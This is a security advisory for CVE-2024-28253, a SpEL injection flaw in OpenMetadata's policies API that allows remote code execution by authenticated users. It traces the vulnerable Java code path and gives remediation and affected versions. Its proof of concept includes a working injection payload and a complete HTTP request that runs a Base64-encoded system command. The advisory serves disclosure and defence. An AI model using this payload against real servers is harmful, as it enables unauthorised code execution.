GHSA-7vf4-x5m2-r6gr

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Source
https://github.com/advisories/GHSA-7vf4-x5m2-r6gr
Import Source
https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2024/04/GHSA-7vf4-x5m2-r6gr/GHSA-7vf4-x5m2-r6gr.json
JSON Data
https://api.test.osv.dev/v1/vulns/GHSA-7vf4-x5m2-r6gr
Aliases
  • CVE-2024-28253
Published
2024-04-23T21:11:23Z
Modified
2024-04-24T15:02:29.470956Z
Severity
  • 9.4 (Critical) CVSS_V3 - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L CVSS Calculator
Summary
OpenMetadata vulnerable to SpEL Injection in `PUT /api/v1/policies` (`GHSL-2023-252`)
Details

SpEL Injection in PUT /api/v1/policies (GHSL-2023-252)

Please note, only authenticated users have access to PUT / POST APIS for /api/v1/policies. Non authenticated users will not be able to access these APIs to exploit the vulnerability

CompiledRule::validateExpression is also called from PolicyRepository.prepare

  @Override
  public void prepare(Policy policy, boolean update) {
    validateRules(policy);
  }
  ...
  public void validateRules(Policy policy) {
    List<Rule> rules = policy.getRules();
    if (nullOrEmpty(rules)) {
      throw new IllegalArgumentException(CatalogExceptionMessage.EMPTY_RULES_IN_POLICY);
    }

    // Validate all the expressions in the rule
    for (Rule rule : rules) {
      CompiledRule.validateExpression(rule.getCondition(), Boolean.class);
      rule.getResources().sort(String.CASE_INSENSITIVE_ORDER);
      rule.getOperations().sort(Comparator.comparing(MetadataOperation::value));

      // Remove redundant resources
      rule.setResources(filterRedundantResources(rule.getResources()));

      // Remove redundant operations
      rule.setOperations(filterRedundantOperations(rule.getOperations()));
    }
    rules.sort(Comparator.comparing(Rule::getName));
  }

prepare() is called from EntityRepository.prepareInternal() which, in turn, gets called from the EntityResource.createOrUpdate():

public Response createOrUpdate(UriInfo uriInfo, SecurityContext securityContext, T entity) {
  repository.prepareInternal(entity, true);

  // If entity does not exist, this is a create operation, else update operation
  ResourceContext<T> resourceContext = getResourceContextByName(entity.getFullyQualifiedName());
  MetadataOperation operation = createOrUpdateOperation(resourceContext);
  OperationContext operationContext = new OperationContext(entityType, operation);
  if (operation == CREATE) {
    CreateResourceContext<T> createResourceContext = new CreateResourceContext<>(entityType, entity);
    authorizer.authorize(securityContext, operationContext, createResourceContext);
    entity = addHref(uriInfo, repository.create(uriInfo, entity));
    return new PutResponse<>(Response.Status.CREATED, entity, RestUtil.ENTITY_CREATED).toResponse();
  }
  authorizer.authorize(securityContext, operationContext, resourceContext);
  PutResponse<T> response = repository.createOrUpdate(uriInfo, entity);
  addHref(uriInfo, response.getEntity());
  return response.toResponse();
}

Note that even though there is an authorization check (authorizer.authorize()), it gets called after prepareInternal() gets called and therefore after the SpEL expression has been evaluated.

In order to reach this method, an attacker can send a PUT request to /api/v1/policies which gets handled by PolicyResource.createOrUpdate():

@PUT
@Operation(
    operationId = "createOrUpdatePolicy",
    summary = "Create or update a policy",
    description = "Create a new policy, if it does not exist or update an existing policy.",
    responses = {
      @ApiResponse(
          responseCode = "200",
          description = "The policy",
          content = @Content(mediaType = "application/json", schema = @Schema(implementation = Policy.class))),
      @ApiResponse(responseCode = "400", description = "Bad request")
    })
public Response createOrUpdate(
    @Context UriInfo uriInfo, @Context SecurityContext securityContext, @Valid CreatePolicy create) {
  Policy policy = getPolicy(create, securityContext.getUserPrincipal().getName());
  return createOrUpdate(uriInfo, securityContext, policy);
}

This vulnerability was discovered with the help of CodeQL's Expression language injection (Spring) query.

Proof of concept

  • Prepare the payload
    • Encode the command to be run (eg: touch /tmp/pwned) using Base64 (eg: dG91Y2ggL3RtcC9wd25lZA==)
    • Create the SpEL expression to run the system command: T(java.lang.Runtime).getRuntime().exec(new java.lang.String(T(java.util.Base64).getDecoder().decode("dG91Y2ggL3RtcC9wd25lZA==")))
  • Send the payload using a valid JWT token:
    PUT /api/v1/policies HTTP/1.1
    Host: localhost:8585
    sec-ch-ua: "Chromium";v="119", "Not?A_Brand";v="24"
    Authorization: Bearer &lt;non-admin JWT>
    accept: application/json
    Connection: close
    Content-Type: application/json
    Content-Length: 367
    
    {"name":"TeamOnlyPolicy","rules":[{"name":"TeamOnlyPolicy-Rule","description":"Deny all the operations on all the resources for all outside the team hierarchy..","effect":"deny","operations":["All"],"resources":["All"],"condition":"T(java.lang.Runtime).getRuntime().exec(new java.lang.String(T(java.util.Base64).getDecoder().decode('dG91Y2ggL3RtcC9wd25lZA==')))"}]}
    
  • Verify that a file called /tmp/pwned was created in the OpenMetadata server

Impact

This issue may lead to Remote Code Execution by a registered and authenticated user

Remediation

Use SimpleEvaluationContext to exclude references to Java types, constructors, and bean references.

Database specific
{
    "nvd_published_at": "2024-03-15T20:15:09Z",
    "cwe_ids": [
        "CWE-94"
    ],
    "severity": "CRITICAL",
    "github_reviewed": true,
    "github_reviewed_at": "2024-04-23T21:11:23Z"
}
References

Affected packages

Maven / org.open-metadata:openmetadata-service

Package

Name
org.open-metadata:openmetadata-service
View open source insights on deps.dev
Purl
pkg:maven/org.open-metadata/openmetadata-service

Affected ranges

Type
ECOSYSTEM
Events
Introduced
0Unknown introduced version / All previous versions are affected
Fixed
1.3.1

Affected versions

Other

DEMO_BETA1

0.*

0.12.1
0.12.1.preview
0.12.2
0.12.2-REPUBLISHED
0.13.1
0.13.2-beta
0.13.2

1.*

1.0.0-alpha
1.0.0-beta
1.0.0
1.0.1
1.0.2
1.0.3
1.0.4
1.0.4.1
1.0.5
1.1.0-beta
1.1.0
1.1.1
1.1.2
1.1.2.1
1.1.3
1.1.4
1.1.5
1.1.6
1.1.7
1.2.0-beta
1.2.0-beta1
1.2.0-beta2
1.2.0
1.2.1
1.2.2
1.2.3
1.2.4
1.2.5
1.3.0-beta
1.3.0